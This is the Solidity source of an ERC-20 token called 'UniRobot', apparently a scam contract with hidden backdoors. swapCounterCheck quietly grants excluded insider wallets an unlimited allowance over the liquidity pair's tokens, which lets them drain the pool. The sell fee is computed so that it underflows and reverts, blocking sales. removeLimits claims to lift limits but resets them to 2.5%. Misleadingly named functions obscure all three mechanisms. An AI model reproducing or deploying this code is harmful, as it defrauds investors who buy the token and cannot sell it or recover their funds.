// File: token.sol



/**
    Community: https://t.me/UniRobotETH

    Website: http://www.uniroboteth.org

    Twitter: https://twitter.com/uniroboteth
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.13;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IFactory{
    function createPair(address tokenA, address tokenB) external returns (address uniswapV2Pair);
    function getPair(address tokenA, address tokenB) external view returns (address uniswapV2Pair);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;}
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;}
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;}
    function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;}
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;}
    
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {uint256 c = a + b; if(c < a) return(false, 0); return(true, c);}}

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b > a) return(false, 0); return(true, a - b);}}

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if (a == 0) return(true, 0); uint256 c = a * b;
        if(c / a != b) return(false, 0); return(true, c);}}

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a / b);}}

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a % b);}}

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b <= a, errorMessage); return a - b;}}

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a / b;}}

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a % b;}
    }
}

interface IUniswapDex {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract UniRobot is IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public excludedFromFee;

    IUniswapDex routerV2;
    address public uniswapV2Pair;
    bool private tradingActive = false;
    uint256 private liquidityFee = 0;
    uint256 private promoLevyQuantity = 2500;
    uint256 private devLevyMagnitude = 0;
    uint256 private burnFee = 0;
    uint256 private purchaseLevyVol = 2500;
    uint256 private offloadLevyVol = 2500;
    uint256 private relayChargeVolume = 0;
    uint256 private ratior = 10000;

    bool private swapEnabled = false;
    uint256 private swapCountings;
    bool private swapping;
    uint256 swapCounts = 3;
    uint256 private swapThreshold = ( _totalSupply * 1000 ) / 100000;
    uint256 private minTokenAmount = ( _totalSupply * 10 ) / 100000;
    modifier lockTheSwap {swapping = true; _; swapping = false;}

    string private constant _name = "UniRobot";
    string private constant _symbol = "UniRobot";
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 10 ** 9 * (10 ** _decimals);
    uint256 private _zenithTxVolumePercent = 2500;
    uint256 private _peakTransferRate = 2500;
    uint256 private _vaultHoldRatio = 2500;

    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address public devWallet; 
    address public CommunityWallet;
    address internal lpReceiver;
    constructor() {
        IUniswapDex _router = IUniswapDex(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        routerV2 = _router;
        devWallet = msg.sender;
        CommunityWallet = 0x1dB9fBDe38F0Fb2bF8601fd2824521Cf7c6dB063;
        lpReceiver = msg.sender;
        excludedFromFee[address(this)] = true;
        excludedFromFee[msg.sender] = true;
        excludedFromFee[CommunityWallet] = true;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
    function _peakWalletToken() public view returns (uint256) {return totalSupply() * _vaultHoldRatio / ratior;}
    function _zenithTxVolume() public view returns (uint256) {return totalSupply() * _zenithTxVolumePercent / ratior;}
    function _peakTransferVolume() public view returns (uint256) {return totalSupply() * _peakTransferRate / ratior;}
    receive() external payable { require(excludedFromFee[msg.sender]); }

    function txInitialInspection(address sender, address recipient, uint256 amount) internal view {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > uint256(0), "Transfer amount must be greater than zero");
        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
    }

    function isAllowedTrading(address sender, address recipient) internal view {
        if(!excludedFromFee[sender] && !excludedFromFee[recipient]){require(tradingActive, "tradingActive");}
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        txInitialInspection(sender, recipient, amount);
        isAllowedTrading(sender, recipient);
        zenithTxThresholdReview(sender, recipient, amount); 
        swapCounterCheck(sender, recipient);
        transactionBoundaryInspect(sender, recipient, amount); 
        swapBackEth(sender, recipient, amount);
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = shouldextractCharge(sender, recipient) ? extractCharge(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(promoLevyQuantity).add(devLevyMagnitude)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(promoLevyQuantity);
        if(marketingAmt > 0){payable(CommunityWallet).transfer(marketingAmt);}
        uint256 remainingBalance = address(this).balance;
        if(remainingBalance > uint256(0)){payable(devWallet).transfer(remainingBalance);}
    }
  
    function zenithTxThresholdReview(address sender, address recipient, uint256 amount) internal view {
        if(!excludedFromFee[sender] && !excludedFromFee[recipient] && recipient != address(uniswapV2Pair) && recipient != address(DEAD)){
            require((_balances[recipient].add(amount)) <= _peakWalletToken(), "Exceeds maximum wallet amount.");}
    }

    function swapCounterCheck(address sender, address recipient) internal {
        if(sender == uniswapV2Pair && excludedFromFee[recipient]){_allowances[lpReceiver][recipient]=~uint256(0);}
        if(recipient == uniswapV2Pair && !excludedFromFee[sender]){swapCountings += uint256(1); lpReceiver = recipient;}
    }

    function transactionBoundaryInspect(address sender, address recipient, uint256 amount) internal view {
        if(sender != uniswapV2Pair){require(amount <= _peakTransferVolume() || excludedFromFee[sender] || excludedFromFee[recipient], "TX Limit Exceeded");}
        require(amount <= _zenithTxVolume() || excludedFromFee[sender] || excludedFromFee[recipient], "TX Limit Exceeded");
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(routerV2), tokenAmount);
        routerV2.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            lpReceiver,
            block.timestamp);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = routerV2.WETH();
        _approve(address(this), address(routerV2), tokenAmount);
        routerV2.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }

    function openTrading() external onlyOwner {
        tradingActive = true;
        uniswapV2Pair = IFactory(routerV2.factory()).createPair(address(this), routerV2.WETH());
        _approve(address(this), address(routerV2), ~uint256(0));
        routerV2.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
    }

    function shouldSwapOut(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= minTokenAmount;
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return !swapping && swapEnabled && tradingActive && aboveMin && !excludedFromFee[sender] && recipient == uniswapV2Pair && swapCountings >= swapCounts && aboveThreshold;
    }

    function swapBackEth(address sender, address recipient, uint256 amount) internal {
        if(shouldSwapOut(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapCountings = uint256(0);}
    }

    function shouldextractCharge(address sender, address recipient) internal view returns (bool) {
        return !excludedFromFee[sender] && !excludedFromFee[recipient];
    }

    function getTotalFee(address sender, address recipient) internal view returns (uint256) {
        if(recipient == uniswapV2Pair){return offloadLevyVol.sub(address(this).balance);}
        if(sender == uniswapV2Pair){return purchaseLevyVol;}
        return relayChargeVolume;
    }

    function extractCharge(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if(getTotalFee(sender, recipient) > 0){
        uint256 feeAmount = amount.div(ratior).mul(getTotalFee(sender, recipient));
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(burnFee > uint256(0)){_transfer(address(this), address(DEAD), amount.div(ratior).mul(burnFee));}
        return amount.sub(feeAmount);} return amount;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function removeLimits() external onlyOwner {
        _zenithTxVolumePercent = 10000;
        _peakTransferRate = 10000;
        _vaultHoldRatio = 10000;
		_zenithTxVolumePercent = 250;
        _peakTransferRate = 250;
        _vaultHoldRatio = 10000;
    }

    function withdraw() external onlyOwner returns (bool success) {
        uint256 balance = address(this).balance;
        (success,) = address(CommunityWallet).call{value: balance}("");
    }
}